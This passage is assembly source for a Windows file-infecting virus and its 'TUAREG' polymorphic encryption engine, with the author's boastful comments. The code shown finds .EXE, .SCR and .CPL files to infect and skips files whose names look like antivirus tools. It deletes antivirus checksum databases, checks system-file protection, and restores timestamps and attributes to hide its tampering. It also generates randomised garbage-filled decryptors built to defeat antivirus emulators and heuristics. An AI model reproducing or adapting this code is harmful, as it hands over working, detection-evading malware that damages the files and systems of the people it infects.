; use this to calculate the final
; jump to the decrypted part

; EAX=Displacement from the beginning till the virus


; EBX=Virtual address where the decryptors will be
; ECX=Place where the decryptors must be put
; Size of encrypted part is always Virus_SizePOW2

; int 3
call Tuareg ; Call this amazing engine! :)

mov eax, [ebp+EPAddition]


add [esi+28h], eax
; Let's calculate the checksum for the header address (if it's
; different from 0)

cmp dword ptr [ebp+RVA_CheckSumMappedFile], 0


jz @@End4
mov eax, [esi+58h]
or eax, eax
jz @@End4
lea eax, [esi+58h]
push eax
lea eax, [ebp+TextHeader] ; Buffer variable
push eax
push dword ptr [ebp+FileSizeLow]
push dword ptr [ebp+MappingAddress]
call dword ptr [ebp+RVA_CheckSumMappedFile]

@@End4: call UnmapFile ; Believe me, you'll miss these faci-


@@End3: call RestoreDateTime ; lities to understand the code when
; you look the code of TUAREG :P
push dword ptr [ebp+FileHandle]
call dword ptr [ebp+RVA_CloseHandle] ; Close file

@@End2: push dword ptr [ebp+FileAttributes]


lea ebx, [ebp+FileName]
push ebx ; Restore file attributes
call dword ptr [ebp+RVA_SetFileAttributesA]
@@End: ret ; Return from this
InfectFile endp

TextHeader dd 0 ; Some data...


RelocHeader dd 0
LastHeader dd 0
StartOfLastSection dd 0
PEHeaderAddress dd 0

CryptValue2 dd 0 ; This value is set somewhere...

Sav_NumberOfSections dw 0

SectionNames db 30h dup (0)


SZSectionNames db ".text",0,0,0
db ".bss",0,0,0,0
db ".rsrc",0,0,0
db "INITTASK"
db ".pdata",0,0
db ".tls",0,0,0,0
db ".Script",0
db ".petite",0
db "INIT",0,0,0,0
db "WINEXEC",0
db ".rdata",0,0
db ".udata",0,0
db "$$DOSX",0,0
db ".PCPEC",0,0
db "PREVIEW",0
db ".OBJ",0,0,0,0
db "_winzip_"
db ".PATCH",0,0
db "$prfth",0,0
db "PEPACK!!"
db "_cabinet"
db "actdlvry"
db ".adata",0,0
db ".textbss"
db ".CPS",0,0,0,0
db "_mvdata",0
db ".check",0,0
db "BSS",0,0,0,0,0
db ".dcode",0,0
db ".WWP32",0,0
db ".mdata",0,0
db ".debug",0,0
db ".data",0,0,0
db "DATA",0,0,0,0
db ".dllent",0
db ".WOPEC",0,0
db ".PEpsi",0,0
db ".drectve"
db "Ext_Cab1"
db ".gdata",0,0
db "ANAKiN98"
db "_sfxrun_"
db ".edata",0,0
db ".fearzip"
db ".idata",0,0
db "CODE",0,0,0,0
db ".petprg",0
db ".delete",0
db 0

ConstructNameForReloc proc
pushad
@@Loop01: call Random
and eax, 3Fh
cmp eax, 2Fh
ja @@Loop01
cmp byte ptr [ebp+eax+SectionNames], 1
jz @@Loop01
shl eax, 3
mov ecx, [ebp+RelocHeader]
add ecx, [ebp+MappingAddress]
mov ebx, dword ptr [ebp+eax+SZSectionNames]
mov [ecx], ebx
mov ebx, dword ptr [ebp+eax+SZSectionNames+4]
mov [ecx+4], ebx
popad
ret ; Return
ConstructNameForReloc endp

FindFileMask1 db '*.EXE',0 ; Masks for FindFirstFile and FindNext


FindFileMask2 db '*.SCR',0
FindFileMask3 db '*.CPL',0

;; Oh, I know this function is only called once, but the code is more struc-
;; tured with this and more clear to me. Moreover, if I want to put more than
;; one calls to this function in the future... hey, I'll have it coded already
;; :)
OpenFile proc
push 0
push 0
push 3
push 0
push 0 ; ??? (I don't remember exactly why this
push 0c0000000h ; values and no others :)
push ebx ; EBX=RVA to the file name (in FindFileField)
call dword ptr [ebp+RVA_CreateFileA] ; Open the file
inc eax
jz @@Error ; If error, return carry flag
dec eax
mov dword ptr [ebp+FileHandle], eax ; Save handle...
clc ; ...clear carry flag...
ret ; ...and return
@@Error: stc
ret
OpenFile endp

;; This function opens a mapping over the file represented in FindFileField.


;; The data there is used here (well, file size only, but I save a lot of
;; work if I use it in this manner)
MapFile proc
push 0
push dword ptr [ebp+FileSizeLow]
push 0
push 4
push 0
push dword ptr [ebp+FileHandle]
call dword ptr [ebp+RVA_CreateFileMappingA]
or eax, eax
jz @@FinError ; If error, exit
mov dword ptr [ebp+MappingHandle], eax
push dword ptr [ebp+FileSizeLow]
push 0
push 0
push 2
push dword ptr [ebp+MappingHandle] ; Open mapping
call dword ptr [ebp+RVA_MapViewOfFile]
or eax, eax ; If error, exit
jz @@FinError2
mov dword ptr [ebp+MappingAddress], eax ; Save mapping
clc ; RVA here, clear carry flag
ret ; and return
@@FinError2: push dword ptr [ebp+MappingHandle] ;If error, close handle
call dword ptr [ebp+RVA_CloseHandle] ;of file mapping, set
@@FinError: stc ; carry flag and exit.
ret
MapFile endp

MappingHandle dd 0 ; Variables
MappingAddress dd 0
FileHandle dd 0

;; This function, although it seems false, unmaps a previous mapping of a


;; file :P
UnmapFile proc
push dword ptr [ebp+MappingAddress]
call dword ptr [ebp+RVA_UnmapViewOfFile]
push dword ptr [ebp+MappingHandle]
call dword ptr [ebp+RVA_CloseHandle]
ret
UnmapFile endp

;; This function checks a file name to determine if it's a "dangerous" file


;; if infected or we can infect it without problems (theorically). It checks
;; the file name to see if it begins with TB (Thunderbyte appz), SC (Scan and
;; others, normally McCaf‚ one), F- (F-Potatoe), PA (Panda Antivirus), DR
;; (DrWeb) and NO (Nod-Ice), or it has a "V" in any position (it's usual for
;; an antivirus to have a "V" in the name, like AVP, DSAV, etc.)
CheckFileName proc
push ebx
push edx
lea esi, [ebp+FileName]
mov ebx, esi
dec ebx
@@Loop_001: lodsb
or al, al
jnz @@Loop_001
std
dec esi
dec esi
@@Loop_002: lodsb
cmp al, '\'
jz @@EndName2
cmp al, ':'
jz @@EndName2
cmp esi, ebx
jnz @@Loop_002
jmp @@EndName
@@EndName2: inc esi
@@EndName: cld ; Here we have the file name without path
inc esi
lodsw ; Read the two first letters
movzx edx, ax
call ToLower ; Convert them to lowercase
cmp edx, 0+'bt'
jz @@Error
cmp edx, 0+'cs'
jz @@Error
cmp edx, 0+'-f'
jz @@Error
cmp edx, 0+'ap'
jz @@Error
cmp edx, 0+'rd'
jz @@Error
cmp edx, 0+'on' ; Any antivirus?
jz @@Error ; If it is, then jump to set carry flag
dec esi
dec esi
dec esi
@@Again: inc esi ; Check "V"s in the name
cmp byte ptr [esi], 'v'
jz @@Error
cmp byte ptr [esi], 'V'
jz @@Error ; If any, set carry
cmp byte ptr [esi], 0
jnz @@Again
mov edx, [esi-4]
call ToLower
cmp edx, 'exe.' ; Check if the file is .EXE, .SCR or
jz @@ItsOK ; .CPL. This is made because the per-
cmp edx, 'rcs.' ; process functions have no mask to
jnz @@Error ; search.
cmp eax, 'lpc.'
jnz @@Error
@@ItsOK: pop edx
pop ebx
clc
ret
@@Error: pop edx
pop ebx
stc
ret
CheckFileName endp

;; Function to convert the four character string in EDX to lowercase


ToLower proc
push ecx
mov ecx, 4
@@Loop_001: cmp dl, 'A'
jb @@Next
cmp dl, 'Z'
ja @@Next
add dl, 20h
@@Next: rol edx, 8
loop @@Loop_001
pop ecx
ret
ToLower endp

;; This function deletes the files AVP.CRC, ANTI-VIR.DAT, CHKLIST.MS and


;; IVB.NTZ, which are antivirus CRC databases.
DeleteDATs proc
lea ebx, [ebp+FileDAT1]
call DeleteFile
lea ebx, [ebp+FileDAT2]
call DeleteFile
lea ebx, [ebp+FileDAT3]
call DeleteFile
lea ebx, [ebp+FileDAT4]
call DeleteFile
ret
DeleteDATs endp

;; Function to delete the file pointed by EBX


DeleteFile proc
push 80h
push ebx
call dword ptr [ebp+RVA_SetFileAttributesA]
push ebx
call dword ptr [ebp+RVA_DeleteFileA]
ret
DeleteFile endp

FileDAT1 db 'AVP.CRC',0
FileDAT2 db 'ANTI-VIR.DAT',0
FileDAT3 db 'CHKLIST.MS',0
FileDAT4 db 'IVB.NTZ',0

;; Function to save the timestamp of a file...


SaveDateTime proc
xor eax, eax
jmp FileDateTime_Common
SaveDateTime endp

;; ... and later restore it with this other function


RestoreDateTime proc
mov eax, 4
FileDateTime_Common:
lea ebx, [ebp+FileTime]
push ebx
add ebx, 8
push ebx
add ebx, 8
push ebx
push dword ptr [ebp+FileHandle]
call dword ptr [ebp+eax+RVA_GetFileTime]
; EAX = 0: GetFileTime
; EAX = 4: SetFileTime
ret
RestoreDateTime endp

;; If we are in Win2K, some files are protected by the operating system. Since
;; they aren't all the files in the harddisk (only the system ones), we only
;; have to check if a file is protected or not. For that thing that I do in
;; InfectFile, we need to load SFC.DLL, which have the protection APIs. If we
;; can't load that, then we aren't in Win2K, so we put 0 in the RVA-storage
;; variable to know that the function can't be called. Normally, under Win2K
;; this DLL is loaded always (like ADVAPI32.DLL), so we'll get the module
;; handle as if we call GetModuleHandleA. If not, then we load it :)
LoadSFCFunctions proc
lea eax, [ebp+SFC_Dll]
push eax
call dword ptr [ebp+RVA_LoadLibraryA]
mov dword ptr [ebp+HandleSFC], eax
or eax, eax
jz @@EndOfSFCs
lea ebx, [ebp+ASC_SfcIsFileProtected]
push ebx
push eax
call dword ptr [ebp+RVA_GetProcAddress]
@@EndOfSFCs:
mov dword ptr [ebp+RVA_SfcIsFileProtected], eax ; 0 or
ret ; address
LoadSFCFunctions endp

SFC_Dll db 'SFC.DLL',0
HandleSFC dd 0
ASC_SfcIsFileProtected db 'SfcIsFileProtected',0 ; The only function we
RVA_SfcIsFileProtected dd 0 ; need

LoadIMAGEHLPFunctions proc
lea eax, [ebp+IMAGEHLP_Dll]
push eax
call dword ptr [ebp+RVA_LoadLibraryA]
mov dword ptr [ebp+HandleIMAGEHLP], eax
or eax, eax
jz @@EndOfIMAGEHLPs
lea ebx, [ebp+ASC_CheckSumMappedFile]
push ebx
push eax
call dword ptr [ebp+RVA_GetProcAddress]
@@EndOfIMAGEHLPs:
mov dword ptr [ebp+RVA_CheckSumMappedFile], eax
ret
LoadIMAGEHLPFunctions endp

IMAGEHLP_Dll db 'IMAGEHLP.DLL',0
HandleIMAGEHLP dd 0
ASC_CheckSumMappedFile db 'CheckSumMappedFile',0
RVA_CheckSumMappedFile dd 0

;;; This function creates a decryptor that fills the 40 free bytes at the be-
;;; ginning of the virus. That (shitty polymorphic) decryptor is made to avoid
;;; cryptanalisis. Moreover, this function gets some values for the later use
;;; of the TUAREG.
ModifyDumbDecryptor proc
pushad
@@AgainRnd: call Random
or eax, eax
jz @@AgainRnd
mov [ebp+DecryptKey], eax ; Get the decryption key for the
; main encryption (TUAREG)
@@AgainRnd2: call Random
and al, 3
jz @@AgainRnd2
dec al
mov byte ptr [ebp+EncryptType], al ; Get method: 0=ADD,
; 1=SUB, 2=XOR
lea edi, [ebp+Inic_Virus]
;; Let's use the TUAREG functions
mov dword ptr [ebp+Index1Register], 08080808h
call SelectARegister
mov [ebp+Index1Register], al
call SelectARegister
mov [ebp+Index2Register], al
call SelectARegister
mov [ebp+KeyRegister], al
lea ebx, [ebp+@@SetIndex]
lea ecx, [ebp+@@SetCounter]
lea edx, [ebp+@@SetKey]
lea esi, [ebp+@@Garbage]
call RandomCalling
mov esi, edi
@@GetOtherType:
call Random
and eax, 3
jz @@GetOtherType
dec eax
mov [ebp+EncryptType2], al
cmp al, 1
jb @@PutSUB
jz @@PutADD
@@PutXOR: mov al, 0031h
jmp @@Next01
@@PutADD: mov al, 0001h
jmp @@Next01
@@PutSUB: mov al, 0029h
@@Next01: mov ah, [ebp+KeyRegister]
shl ah, 3
or ah, [ebp+Index1Register]
cmp byte ptr [ebp+Index1Register], 5
jnz @@Next02
or ah, 40h
stosw
xor al, al
stosb
jmp @@Next03
@@Next02: stosw
@@Next03: call @@Garbage
push esi
lea ebx, [ebp+@@ModifyKey]
lea ecx, [ebp+@@ModifyIndex]
lea edx, [ebp+@@Garbage]
lea esi, [ebp+@@Ret]
call RandomCalling
pop esi

@@Repeat: call Random


and al, 3
jz @@Repeat
cmp al, 2
jb @@DecCounter
jz @@SubCounter
@@AddCounter: mov ax, 0C083h
or ah, [ebp+Index2Register]
stosw
mov al, 0FFh
stosb
jmp @@Next04
@@SubCounter: mov ax, 0E883h
or ah, [ebp+Index2Register]
stosw
mov al, 1
stosb
jmp @@Next04
@@DecCounter: mov al, 48h
add al, [ebp+Index2Register]
stosb
@@Next04: call RandomFlags
jz @@DoLongJNZ
mov al, 75h
stosb
inc edi
mov eax, esi
sub eax, edi
mov [edi-1], al
jmp @@Next05
@@DoLongJNZ: mov ax, 850Fh
stosw
add edi, 4
mov eax, esi
sub eax, edi
mov [edi-4], eax
@@Next05: lea esi, [ebp+InicDecryptVirus]
mov dword ptr [ebp+Index1Register], 08080808h
@@Next06: cmp edi, esi
jz @@Made
call @@Garbage2
jmp @@Next06
@@Made: popad
@@Ret: ret ; Return

@@ModifyKey: call Random


and al, 3
mov byte ptr [ebp+KeyModification], al
jz @@ModADD
cmp al, 2
jb @@ModSUB
jz @@ModXOR
@@ModROL: mov ax, 0C0D1h
or ah, byte ptr [ebp+KeyRegister]
stosw
call @@Garbage
ret
@@ModADD: mov ax, 0C081h
jmp @@ModNext
@@ModSUB: mov ax, 0E881h
jmp @@ModNext
@@ModXOR: mov ax, 0F081h
@@ModNext: or ah, byte ptr [ebp+KeyRegister]
stosw
call Random
mov [ebp+KeyModifier], eax
stosd
call @@Garbage
ret

@@ModifyIndex: call RandomFlags


jz @@Add4
@@Lea4: mov al, 8Dh
mov ah, [ebp+Index1Register]
shl ah, 3
or ah, [ebp+Index1Register]
or ah, 40h
@@StoreAddition:
stosw
mov al, 4
stosb
call @@Garbage
ret
@@Add4: mov ax, 0C083h
or ah, [ebp+Index1Register]
jmp @@StoreAddition

@@SetIndex: mov ebx, [ebp+RelocHeader]


add ebx, [ebp+MappingAddress]
mov ebx, [ebx+0Ch]
mov esi, [ebp+PEHeaderAddress]
add ebx, [esi+34h]
add ebx, 3Ch
mov dl, [ebp+Index1Register]
call @@DoMOV
call @@Garbage
ret

@@SetCounter: call Random


and eax, 7Fh
cmp eax, 78h
ja @@SetCounter
sub eax, (offset End_Virus - offset InicDecryptVirus) / 4
neg eax
mov ebx, eax
mov dl, [ebp+Index2Register]
call @@DoMOV
call @@Garbage
ret

@@SetKey: mov ebx, [ebp+CryptValue2]


mov dl, [ebp+KeyRegister]
call @@DoMOV
call @@Garbage
ret

@@DoMOV: call Random


and al, 3
jz @@DoPureMOV2
cmp al, 2
jb @@DoPureMOV
jz @@DoPUSHPOP
@@DoLEA: mov ax, 058Dh
shl dl, 3
or ah, dl
stosw
@@StoreValue: mov eax, ebx
stosd
ret
@@DoPureMOV: mov al, 0B8h
add al, dl
stosb
jmp @@StoreValue
@@DoPureMOV2: mov ax, 0C0C7h
add ah, dl
stosw
jmp @@StoreValue
@@DoPUSHPOP: mov al, 68h
stosb
mov eax, ebx
stosd
call @@Garbage
mov al, 58h
add al, dl
stosb
ret

@@Garbage2: pushad
call Random
and al, 3
jz @@OneByteWithoutRegister
cmp al, 2
jb @@OneByteWithRegister
jz @@TwoBytes2

@@Garbage_XCHGEAX:
call Random
and al, 7
cmp al, 4
jz @@Garbage_XCHGEAX
add al, 90h
stosb
jmp @@EndGarbage

@@Garbage: pushad
call Random
and al, 3
jz @@TwoBytes
cmp al, 2
jb @@OneByteWithoutRegister
jz @@EndGarbage

@@OneByteWithRegister:
call Random
and al, 8
mov dl, al
call SelectARegister
or al, dl
add al, 40h
stosb
jmp @@EndGarbage

@@OneByteWithoutRegister:
call Random
and eax, 07h
mov al, byte ptr [ebp+eax+@@OneByteTable]
stosb
jmp @@EndGarbage

@@OneByteTable db 90h, 0F5h, 0F8h, 0F9h, 0FCh, 0FDh, 0FBh, 90h


; NOP, CMC, CLC, STC, CLD, STD, STI, NOP

@@TwoBytes2:
test edi, 1
jnz @@EndGarbage
@@TwoBytes:
call SelectARegister
mov dl, al
call Random
and ax, 0738h
mov dh, ah
inc eax
call RandomFlags
jz @@TwoBytes_01
xchg dh, dl
add al, 2
@@TwoBytes_01:
shl dh, 3
mov ah, 0C0h
or ah, dl
or ah, dh
stosw

@@EndGarbage:
mov [esp+S_EDI], edi
popad
ret
ModifyDumbDecryptor endp

KeyModification db 0
KeyModifier dd 0
EncryptType2 db 0

Addr_Kernel32 dd 0 ; Address of KERNEL32

;; This routine copies dword by dword the indicated frame, and before storing
;; it, it encrypts that dword with the encryption key. There is one control
;; variable (CopyingVirus) that controls whether he have to leave the first
;; 3Ch bytes unencrypted (the little decryptor) and we have to encrypt with
;; two encryption keys instead of one. Cryptanalisys is hard with two decryp-
;; tion keys because the relation from one byte to another doesn't remain
;; constant when you apply XOR+XOR or ADD+XOR or SUB+XOR, as I apply in this
;; virus. If this doesn't avoid anything, maybe next time I'll code two 8 Kb
;; sized decryptors with the TUAREG and with more techniques of encryption (or
;; two encryptions, or position-based decryptions, or things like that :).
EncryptWhileStoring proc
push edx
cmp byte ptr [ebp+CopyingVirus], 1 ; Virus code?
jnz @@Jump_000 ; If not, jump
mov edx, 3Ch/4 ; Leave the first 3Ch bytes with only
; an encryption layer
jmp @@Loop_001
@@Jump_000: xor edx, edx ; EDX=0
@@Loop_001: lodsd
cmp byte ptr [ebp+CopyingVirus], 1
jnz @@Next2
or edx, edx ; While EDX isn't 0, we only encrypt with
jz @@Next1 ; the main encryption key
dec edx
jmp @@Next2
@@Next1: cmp byte ptr [ebp+EncryptType2], 1
jb @@ADD2
jz @@SUB2
@@XOR2: xor eax, dword ptr [ebp+CryptValue2]
jmp @@Next3
@@ADD2: add eax, dword ptr [ebp+CryptValue2]
jmp @@Next3
@@SUB2: sub eax, dword ptr [ebp+CryptValue2]
@@Next3: push eax
mov eax, [ebp+CryptValue2]
cmp byte ptr [ebp+KeyModification], 1
jb @@ModADD
jz @@ModSUB
cmp byte ptr [ebp+KeyModification], 3
jb @@ModXOR
@@ModROL: rol eax, 1
jmp @@Next4
@@ModADD: add eax, [ebp+KeyModifier]
jmp @@Next4
@@ModSUB: sub eax, [ebp+KeyModifier]
jmp @@Next4
@@ModXOR: xor eax, [ebp+KeyModifier]
@@Next4: mov [ebp+CryptValue2], eax
pop eax
@@Next2: cmp byte ptr [ebp+EncryptType], 1
jb @@ADD
jz @@SUB
@@XOR: xor eax, dword ptr [ebp+DecryptKey]
jmp @@Next
@@ADD: add eax, dword ptr [ebp+DecryptKey]
jmp @@Next
@@SUB: sub eax, dword ptr [ebp+DecryptKey]
@@Next: stosd
dec ecx
jnz @@Loop_001 ; Repeat <ECX> times (I don't use LOOP coz
pop edx ; the jump exceeds 128 bytes :)
ret
EncryptWhileStoring endp

CopyingVirus db 0

EncryptType db 0 ; 0=ADD, 1=SUB, 2=XOR


DecryptKey dd 0

CalculateAPIsAddresses proc
;; ESI=Address of PE header
pushad
lea edi, [ebp+APIInfo+4]
mov ecx, 20h
xor eax, eax
@@LoopKK: mov [edi], eax
add edi, 10h
loop @@LoopKK

mov byte ptr [ebp+AnyAPIFound], 0


mov edi, [esi+80h]
movzx ebx, word ptr [esi+06h]
movzx edx, word ptr [esi+14h]
lea edx, [esi+edx+18h]
@@Loop01: mov eax, [edx+0Ch]
add eax, [edx+08h]
cmp edi, [edx+0Ch]
jb @@NextSection
cmp edi, eax
jb @@SectionFound
@@NextSection:
add edx, 28h
dec ebx
jnz @@Loop01
jmp @@Exit
@@SectionFound:
mov eax, edi
sub eax, [edx+0Ch]
add eax, [edx+14h]

;; EAX=Physical address of import table (relative)


;; EDI=Virtual address of import table (relative)

mov [ebp+Idata_Phys], eax


mov [ebp+Idata_Virt], edi

mov edx, [esi+84h]


mov ecx, eax
add ecx, [ebp+MappingAddress]
add edx, ecx
@@Loop02: mov ebx, [ecx+0Ch]
or ebx, ebx
jz @@Exit
cmp ebx, [esi+50h]
ja @@Next
sub ebx, [ebp+Idata_Virt]
add ebx, [ebp+Idata_Phys]
add ebx, [ebp+MappingAddress]
push edx
mov edx, [ebx]
call ToLower
cmp edx, 'nrek'
jnz @@Next2
mov edx, [ebx+4]
call ToLower
cmp edx, '23le'
jnz @@Next2
mov edx, [ebx+8]
call ToLower
cmp edx, 'lld.'
jnz @@Next2
pop edx

mov edi, [ecx+10h]


add edi, [esi+34h]
mov edx, [ecx]
sub edx, [ebp+Idata_Virt]
add edx, [ebp+Idata_Phys]
add edx, [ebp+MappingAddress]

@@Otro: mov eax, [edx]


or eax, eax
js @@NextFunc ; Avoid ordinals
jz @@Exit
sub eax, [ebp+Idata_Virt]
add eax, [ebp+Idata_Phys]
add eax, [ebp+MappingAddress]
add eax, 2
mov esi, eax
xor eax, eax

@@LoopAPI: cmp byte ptr [esi], 0


jz @@NameCalculated
mov cl, [esi]
and cl, 3
rol eax, cl
xor al, [esi]
inc esi
jmp @@LoopAPI
@@NameCalculated:
lea esi, [ebp+APIInfo]
mov ecx, 20h
@@LoopCheckAPI:
cmp eax, [esi]
jz @@APIFound
add esi, 10h
loop @@LoopCheckAPI
@@NextFunc: add edx, 4
add edi, 4
jmp @@Otro
@@APIFound: mov [esi+4], edi
mov byte ptr [ebp+AnyAPIFound], 1
jmp @@NextFunc
@@Next2: pop edx
@@Next: add ecx, 14h
cmp ecx, edx
jb @@Loop02
@@Exit: popad
ret
CalculateAPIsAddresses endp

Idata_Phys dd 0
Idata_Virt dd 0

;ËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËË;
;ÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;----------------------------------------------------------------------------;
;ßßßßÛßß Û ÛßßÛ ÛßÛÜ Ûßßß ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ ÜÛ ÜßÜ ÜÛ ;
;ßßÛ Û Û Û Û Û Û ÜÛ Û Û Tameless Unpredictable Û ÞßÞ Ý Þ ÞßÞ ;
; Û Û Û Û ÛßßÛ ÛßÛÜ Ûßß Û ßÛ Anarchic Relentless Û Þ Þ þ Ý Þ ;
; Û Û ÛÜÜÛ Û Û Û Û ÛÜÜÜ ÛÜÜÛ Encryption Generator ÛÜÜÜÜÜ Þ ÜÜ Ý Þ Ü Þ ;
; ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ÜÛÜ Ü ßÜß ÜÜÛÜ;
;----------------------------------------------------------------------------;
; The name is quite strambotic :), but I had to justify why the engine is ;
; called "TUAREG". Anyway, the name isn't new, as I'm in this project since ;
; 1998, yet before making the MeDriPolEn. ;
; ;
; This engine features: ;
; ;
; PRIDE - Pseudo-Random Index DEcryption ;
; Branching Technique - Avoids linear execution of the decryption loop ;
; ;
; This two techniques are explained on the article about "Advanced decryption;
; construction" on 29A#5, where they are better explained than they would be ;
; here. ;
; ;
; Some notes: ;
; - The subroutines code will be at the end of every branch for every subrou-;
; tine created in that branch (the engine selects randomly whether call a ;
; created existing one or create a new one and call it when inserting code).;
; - The registers have a "touched" flag, which avoids their use before set- ;
; ting on them a valid value (thing that sets lots of flags on heuristic ;
; scanners). So, when you call SelectARegisterWithInit, it'll look if the ;
; register is "touched". If it isn't, before returning it'll made a DoMOV ;
; with a random value and it'll set as "touched". ;
; - This version is 1.0 after adding calls to the Win32 API (concretely to ;
; KERNEL32) but not directly, but to the import table (like a normal app.). ;
; - "Recursivity" is the main word in the making of this engine. Almost ;
; every routine is prepared to be called in recursive instances, and with ;
; recursivity we make that the generated code become complex as hell. Just ;
; look at the code :). ;
; - The engine is HUGE (more than a half of the virus is this engine), and, ;
; corresponding to its size, the decryptor it generates is one of the most ;
; complex decryptors ever generated by any existent polymorphic engine. I'm ;
; not saying it's the best, but sure it's one of the best :). ;
; - Nothing more, enjoy it as much as I did it coding it! ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; EAX=Displacement from the beginning till the virus
; EBX=Virtual address of the beginning of the encrypted part
; ECX=Place where the decryptors must be put
; Size of encrypted part is Virus_Size+Host_Data_Size

Ident_Tuareg db 0,'[TUAREG v1.01]',0 ; This marks the beginning of


; the engine
; Help with stack positions (when you do PUSHAD)
S_EAX equ 1Ch
S_ECX equ 18h
S_EDX equ 14h
S_EBX equ 10h
S_ESP equ 0Ch
S_EBP equ 08h
S_ESI equ 04h
S_EDI equ 00h

BssSection dd 0 ; Data-writing sections. Here we can define


Data1Section dd 0 ; memory variables and all that. The idea is very
Data2Section dd 0 ; similar to the MeDriPolEn, where I did a table
Data3Section dd 0 ; with all the free holes in the virus. This time
Data4Section dd 0 ; I include the .bss section, if it's available.
; Instead of making a table with writable addresses,
; I put here free frames of 256 bytes at least, gi-
; ving a random dword ptr address inside this frames.

ReservedBssAddress dd 0 ; I save this address to avoid making garbage with


; it. This address will be used to make a jump to
; the unencrypted part. Since the jump isn't cons-
; tructed before total decryption, the emulator of
; an antivirus must emulate to reach one of this
; jumps, to see where the decryptor jumps once the
; data is decrypted.

ReservedMemVars_F db 30h dup (0)


ReservedMemVars_Addr dd 30h dup (0)

DecryptorBeginAddress dd 0 ; Physical address of the decryptor


DecryptorVirtualBeginAddress dd 0 ; Virtual address of the decryptor
Distance dd 0 ; Distance from the virtual begin address
; of the decryptor to the decrypted data
EncryptedDataBeginAddress dd 0 ; Place where the virtual address of the
; encrypted virus is stored
Index1Register db 0 ; Index1 Register
Index2Register db 0 ; Index2 Register (used for PRIDE)
KeyRegister db 0 ; Key register (it can be used or not)
BufferRegister db 0 ; Buffer register, for some operations that
; require a not-modifiable-by-garbage register
CopyOfUsedRegisters db 4 dup (0) ; Here we save the four registers
; selected before sometimes, mainly when we
; construct the jump to the decrypted part
; and we don't need the register saving any-
; more. Since we are coding the end of a
; branch, we have to save them for the coding
; of the next branches.
Index1Modifier dd 0 ; This is a random 8-multiple number between 0 and
; Virus_SizePOW2 (look PRIDE formula)
Index2Modifier dd 0 ; Value between 4 and 7. Since we are going to do
; AND Index2,xxx, being 0 the two last bits of
; xxx, we don't mind the two last bits of the mo-
; difier, since they are going to be anulated.

TuaregFlags dd 0
BranchIdentifier db 0
AddressOfTuaregStackFrame dd 0

EPAddition dd 0

;; This flags are individual for each branch, so they aren't general. This
;; allows each branch to have a "unique" behaviour sometimes.
;;
;; Flags:
;; Bit 0: Use key register: 0=YES, 1=NO
;; Bit 1-2: 00=Use buffer register, 01=XOR again Index2, 10=PUSH/POP Index2
;; 11=Reserved, repeat flag obtention
;; Bit 3: 0=No action, 1=Exchange Index1 and Index2 when using one of them
;; as memory index (avoid one possible algorithmical clue for detection)
;; Bit 4-5: 00=Functional branch code in a subroutine
;; Bit 6-7: 00=Index calculation + decryption in a subroutine
;; Bit 8-9: 00=Decryption in a subroutine
;; Bit 10-11: 00=All index modifications in a subroutine
;; Bit 12-13: 00=Modify index1 in a subroutine
;; Bit 14-15: 00=Mask index1 in a subroutine
;; Bit 16-17: 00=Modify index2 in a subroutine
;; Bit 18-19: 00=Mask index2 in a subroutine
;; Bit 20-31: Reserved for future expansion

;; Information for every branch in the reserved frame of stack:


;; +00: DWORD: Branch flags
;; +04: DWORD: Functional branch code subroutine address (0 if not made)
;; +08: DWORD: Index calculation + decryption subroutine address
;; +0C: DWORD: Decryption subroutine address
;; +10: DWORD: Index modifications subroutine address
;; +14: DWORD: Modification of index1 subroutine address
;; +18: DWORD: Masking of index1 subroutine address
;; +1C: DWORD: Modification of index2 subroutine address
;; +20: DWORD: Masking of index2 subroutine address
;; +24-40: reserved

InitialValue dd 0 ; This is the initial value of Index2. The decryp-


; tion of the virus body ends when Index2 reaches
; this value again.
;; Begin fun!
Tuareg proc
pushad
sub esp, 1000h ; Create stack frame for variables
mov [ebp+AddressOfTuaregStackFrame], esp

mov [ebp+Distance], eax


mov [ebp+DecryptorBeginAddress], ecx
mov [ebp+DecryptorVirtualBeginAddress], ebx
mov edi, ecx ; Save entry values and put EDI as the sto-
; rage address (to use STOSB and all that)
mov eax, [ebp+RelocHeader]
add eax, [ebp+MappingAddress]
mov eax, [eax+0Ch]
mov esi, [ebp+PEHeaderAddress]
add eax, [esi+34h]
mov [ebp+EncryptedDataBeginAddress], eax ; Set the virtual
; address of the encrypted data

; This variables must be set to 0 at the beginning


xor eax, eax
mov [ebp+JumpsToCompleteNdx], eax
mov [ebp+JumpingArrayNdx], eax
mov [ebp+CallsLevel1Ndx], eax
mov [ebp+CallsLevel2Ndx], eax
mov [ebp+CallsLevel3Ndx], eax
mov dword ptr [ebp+ArrayOfCalls1Ndx], eax
mov dword ptr [ebp+ArrayOfCalls2Ndx], eax
mov dword ptr [ebp+ArrayOfCalls3Ndx], eax
mov dword ptr [ebp+TouchedRegisters], eax
mov dword ptr [ebp+TouchedRegisters+4], eax
mov byte ptr [ebp+ImInRandomLoop], al
mov byte ptr [ebp+MOVingRecursLevel], al
mov byte ptr [ebp+KeyIsInit], al
mov byte ptr [ebp+ImInAPI], al
mov byte ptr [ebp+FirstAPICall], al

call Random
and eax, Virus_SizePOW2 - 8
mov [ebp+Index1Modifier], eax ; Set Index1 modifier

call Random
and eax, 3
add eax, 4
mov [ebp+Index2Modifier], eax ; Set Index2 modifier

; Initializing of the random generator (to make is slow poly)


lea eax, [ebp+offset SystemTimeReceiver]
push eax
